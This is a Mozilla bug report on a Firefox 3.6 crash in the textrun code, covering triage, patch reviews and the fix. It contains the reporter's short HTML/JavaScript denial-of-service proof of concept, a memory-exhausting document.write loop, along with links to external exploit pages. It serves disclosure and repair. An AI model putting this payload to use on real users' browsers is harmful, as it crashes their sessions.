Closed Bug 545989 Opened 14 years ago Closed 14 years ago

Remote DoS (crash) problem in version 3.6 in textrun code

Categories

(Core :: Layout: Text and Fonts, defect)

Product:
Core
Component:
Layout: Text and Fonts
Version:
1.9.2 Branch
Platform:
x86
All
Type:
defect
Priority:
Not set
Severity:
critical

Tracking

()

Status:
RESOLVED FIXED
Tracking Flags:
Tracking Status
blocking1.9.2 --- -
status1.9.2 --- wanted
blocking1.9.1 --- -
status1.9.1 --- wanted

People

(Reporter: r45c4l, Assigned: roc)

References

Details

(Keywords: crash, Whiteboard: [sg:dos])

Attachments

(3 files)

Testcase from the reporter
390 bytes, text/html
Details
fix
4.14 KB, patch
roc
: review-
Details | Diff | Splinter Review
alternative fix
14.52 KB, patch
roc
: review+
Details | Diff | Splinter Review 
User-Agent:       Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6
Build Identifier: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6

with the excution of a simple html script, the browser gets crashed. The script is 

<html><title>FIREFOX 3.6 DoS VULNERABILITY!</title>
       <script>
       function junk()
       {
       var buff="A";
       for (i=0;i<150;i++)
       {
       buff+=buff+"A";
       document.write(buff+buff);
       }
       }
       </script>
       <body onload="javascript:junk();">
       <FONT COLOR=red SIZE=6><b>PWNED!!!</b></FONT>
       </body>
       </html>


Reproducible: Always
Version: unspecified → 3.6 Branch
Status: UNCONFIRMED → RESOLVED
Closed: 14 years ago
Resolution: --- → DUPLICATE
Status: RESOLVED → UNCONFIRMED
Resolution: DUPLICATE → ---
confirming a crash with SM trunk and FF3.6

bp-8ba1a3a7-21e5-4969-ba66-970572100213
bp-cc7cb43f-a71b-4e9f-aa5e-e33402100213

0  	kernel32.dll  	RaiseException  	
1 	mozcrt19.dll 	_CxxThrowException 	throw.cpp:159
2 	mozcrt19.dll 	operator new 	obj-firefox/memory/jemalloc/crtsrc/new.cpp:57
3 	xul.dll 	TextRunWordCache::MakeTextRun 	gfx/thebes/src/gfxTextRunWordCache.cpp:707
4 	xul.dll 	MakeTextRun 	layout/generic/nsTextFrameThebes.cpp:460
5 		@0x38200007 	
6 		@0x9
Status: UNCONFIRMED → NEW
Component: General → Graphics
Ever confirmed: true
Product: Firefox → Core
QA Contact: general → thebes
Version: 3.6 Branch → 1.9.2 Branch
Keywords: crash
OS: Windows 7 → All
Don't believe this meets the technical definition of a DOS.
Not a graphics issue.  Over to layout:text..
Component: Graphics → Layout: Text
QA Contact: thebes → layout.fonts-and-text
Summary: Remote DoS (crash) problem in version 3.6 → Remote DoS (crash) problem in version 3.6 in textrun code
well i found a exploit in flock also where should i inform about it ?? its in the latest version of flock.
well i found a exploit in flock also where should i inform about it ?? its in the latest version of flock.
An exploit or a simple crash or do you mean this crash is also in flock ?
Attached patch fix — — Splinter Review 
This stops us from dying from the exception throw during the "new PRUint8[aSize]". I can't say it stops the DoS --- the browser still grinds to a halt trying to allocate lots of memory --- but that's par for the course.
Assignee: nobody → roc
Attachment #426955 - Flags: review?(jfkthame)
its not a crash Matthis, its an exploit and i have the POC also. 
Flock 2.5.6 is vulnerable to multitudinous looping which causes a DoS when a crafted html script will be runned. The problem is in window.printer function (), the same problem which is in Firefox 3.6. 

The POC is here http://www.hack0wn.com/view.php?xroot=498.0&cat=exploits
And yeah I forgot to mention that Frefox 3.0.15 which i have tested on Linux (BT-4 Final) using KDE 3.5.10 is also vulnerable for the DoS. I am not sure if this has been reported earlier or not. 

POC : http://www.hack0wn.com/view.php?xroot=493.0&cat=exploits
Comment on attachment 426955 [details] [diff] [review]
fix

This patch is incomplete; it fails in nsTextFrameThebes, because it doesn't deal with the allocation/construction of the nsTransformedTextRun subclass of gfxTextRun.

Hmmm. Re-reading this code, I don't like it much. ISTM that the allocation of gfxTextRun is in principle incorrect, even though we're getting away with it on current compilers/systems. Allocating an array of PRUint8 may not result in a block that's aligned properly for use as a gfxTextRun - especially in view of the fact that gfxTextRun includes a PRUint64 member, as well as a number of pointers. It's not hard to imagine a scenario where such members are expected to be 8-byte-aligned, but the call to new PRUInt8[] might give us (for example) a 4-byte-aligned block.

Do we know from profiling that the allocation of text runs is such a critical element that it's worth these convolutions? I'm curious what would happen if we simply allocated the textRun's mText and mCharacterGlyphs members as separate arrays.

If that's too expensive, perhaps we should at least allocate the storage for the gfxTextRun as an array of PRUint64, to ensure its alignment.
Attachment #426955 - Flags: review?(jfkthame) → review-
That patch is all wrong because of the subclass in nsTextFrameThebes, which I had not thought about.

You're right about the alignment too, although that's easily fixed.

It's not so much that it saves time, it also saves space and guarantees better page locality for text, and it *was* quite simple.
And yeah I forgot to mention that Frefox 3.0.15 which i have tested on Linux (BT-4 Final) using KDE 3.5.10 is also vulnerable for the DoS. I am not sure if this has been reported earlier or not. 

POC : http://www.hack0wn.com/view.php?xroot=493.0&cat=exploits
Attached patch alternative fix — — Splinter Review 
Here's a suggestion for an alternative approach; this preallocates a separate array for the glyph data, and tacks on the private copy of text (if needed), and then passes this in to the constructor; this allows us to check for allocation failure without having to throw an exception from the actual textrun constructor.
Attachment #427092 - Flags: review?(roc)
Attachment #427092 - Flags: review?(roc) → review+
pushed: http://hg.mozilla.org/mozilla-central/rev/7e98f672904c
Status: NEW → RESOLVED
Closed: 14 years ago → 14 years ago
Resolution: --- → FIXED
Is this worth landing on the old branches? Or is there little point if it's just moving the eventual OOM crashes around?
blocking1.9.1: --- → ?
blocking1.9.2: --- → ?
status1.9.1: --- → wanted
status1.9.2: --- → wanted
Whiteboard: [sg:dos]
blocking1.9.1: ? → -
blocking1.9.2: ? → -
You need to log in before you can comment on or make changes to this bug.

Attachment

General

Creator:
Created:
Updated:
Size: